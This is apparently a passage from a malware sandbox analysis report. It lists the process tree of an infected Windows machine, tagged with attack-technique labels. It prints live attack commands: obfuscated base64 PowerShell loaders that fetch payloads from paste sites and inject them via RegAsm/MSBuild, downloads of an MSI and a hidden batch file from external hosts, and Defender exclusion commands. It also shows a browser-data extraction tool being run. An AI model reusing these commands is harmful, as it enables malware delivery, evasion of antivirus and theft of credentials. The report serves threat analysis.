gACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBBADMAWQBvAE4ANgB5AFEAOABZAHUAUgA5ADEANAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBPADkAUQByAHQAMwBJADcAZABxADIATAA3AHAAYQAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBf#AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQAnACAAKwAgACcAUwBFACcAIAAf#ACAAJwA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQA7AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcAUgBlAGcAJwAgACsAIAAnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBnACAAPQAgACcAdwBhAHIALwAyADkAbABPADUATAA1AGwALwBwAHAAYQAuAHkAZgBlAHQAcwBhAHAALwAvADoAcwBnAHMAZgBmAHMAZgAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADYAKQANAAoAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHIAdQBuAHMAJwAgACsAIAAnAHMAJwApAC4ASQBuAHYAbwBf#AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAALAAnADEAJwAsACAAJwBlAHYAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA=='';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"; Copy-Item -Path 'C:\Windows\System32\a\seend.bat' -Destination 'C:\ProgramData\ev.bat' -Force -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe DetectionRateTesting.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe MaybeWorking.hta3⤵
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Windows\system32\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
-
C:\Windows\system32\a\svchost.exesvchost.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sudohold.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBBADMAWQBvAE4ANgB5AFEAOABZAHUAUgA5ADEANAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBPADkAUQByAHQAMwBJADcAZABxADIATAA3AHAAYQAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBf#AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQAnACAAKwAgACcAUwBFACcAIAAf#ACAAJwA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQA7AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcATQBzAGIAdQBpAGwAZAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AYQBhAGUAcAB5AHQAZABsAG8AaAAvAG4AaQBhAG0ALwB3AGEAcgAvAC0ALwAyAHQAYwBlAGoAbwByAHAALQBlAHAAeQB0AG4AbwBtAG8AZAB1AHMALwBlAHAAeQB0AG4AbwBtAG8AZAB1AHMALwBtAG8AYwAuAGIAYQBsAHQAaQBnAC8ALwA6AHMAZwBzAGYAZgBzAGYAJwAgADsAIAAkAGcAZwAgAD0AIAAkAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcALgBMAGUAbgBnAHQAaAAgAC0AIAA2ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAwACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('f#','r') )));4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\Client.exeClient.exe3⤵
-
-
C:\Windows\system32\a\5252.exe5252.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\PLE1C0.tmp"C:\Users\Admin\AppData\Local\Temp\PLE1C0.tmp"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chcp 65001 > nul5⤵
-
C:\Windows\system32\chcp.comchcp 650016⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\chromelevator.exe"C:\Users\Admin\AppData\Local\Temp\chromelevator.exe" chrome --output-path "C:\Users\Admin\AppData\Local\Temp\\Winapi\Browsers\Chrome_raw" --kill5⤵
-
-
-
-
C:\Windows\system32\a\52.exe52.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe verycleaneffectivethingscoming.hta3⤵
-
-
C:\Windows\system32\a\Auo1.exeAuo1.exe3⤵
-
-
C:\Windows\system32\a\hey.exehey.exe3⤵
-
-
C:\Windows\system32\a\hey.exehey.exe3⤵
-
-
C:\Windows\system32\a\Violet.exeViolet.exe3⤵
-
-
C:\Windows\system32\a\VIolet.exeVIolet.exe3⤵
-
-
C:\Windows\system32\a\he.exehe.exe3⤵
-
-
C:\Windows\system32\a\win.exewin.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'; Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'; Add-MpPreference -ExclusionProcess 'services.exe'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Explorer'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe givemegoodpersoninlifeforlove.hta3⤵
-
-
C:\Windows\system32\a\he.exehe.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
-
C:\Windows\system32\a\beacon.exebeacon.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\kikikmoralibrary.exekikikmoralibrary.exe3⤵
-
-
C:\Windows\system32\a\Qbix01.exeQbix01.exe3⤵
-
-
C:\Windows\system32\a\keepon.exekeepon.exe3⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Windows\system32\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Windows\system32\a\01.exe01.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c DebugConfig.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand YwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcgBlAHMALgBiAGEAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAHMALgBiAGEAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcwAuAGIAYQB0ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA0ACgA=4⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe girlgoodforme.hta3⤵
-
-
C:\Windows\system32\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Windows\system32\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Windows\system32\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
C:\Windows\system32\a\Pulsar-Client.exePulsar-Client.exe3⤵
-
-
C:\Windows\system32\a\MDClient.exeMDClient.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe simplecreationsforme.hta3⤵
-
-
C:\Windows\system32\a\file_b584670f7ec2f317.exefile_b584670f7ec2f317.exe3⤵
-
-
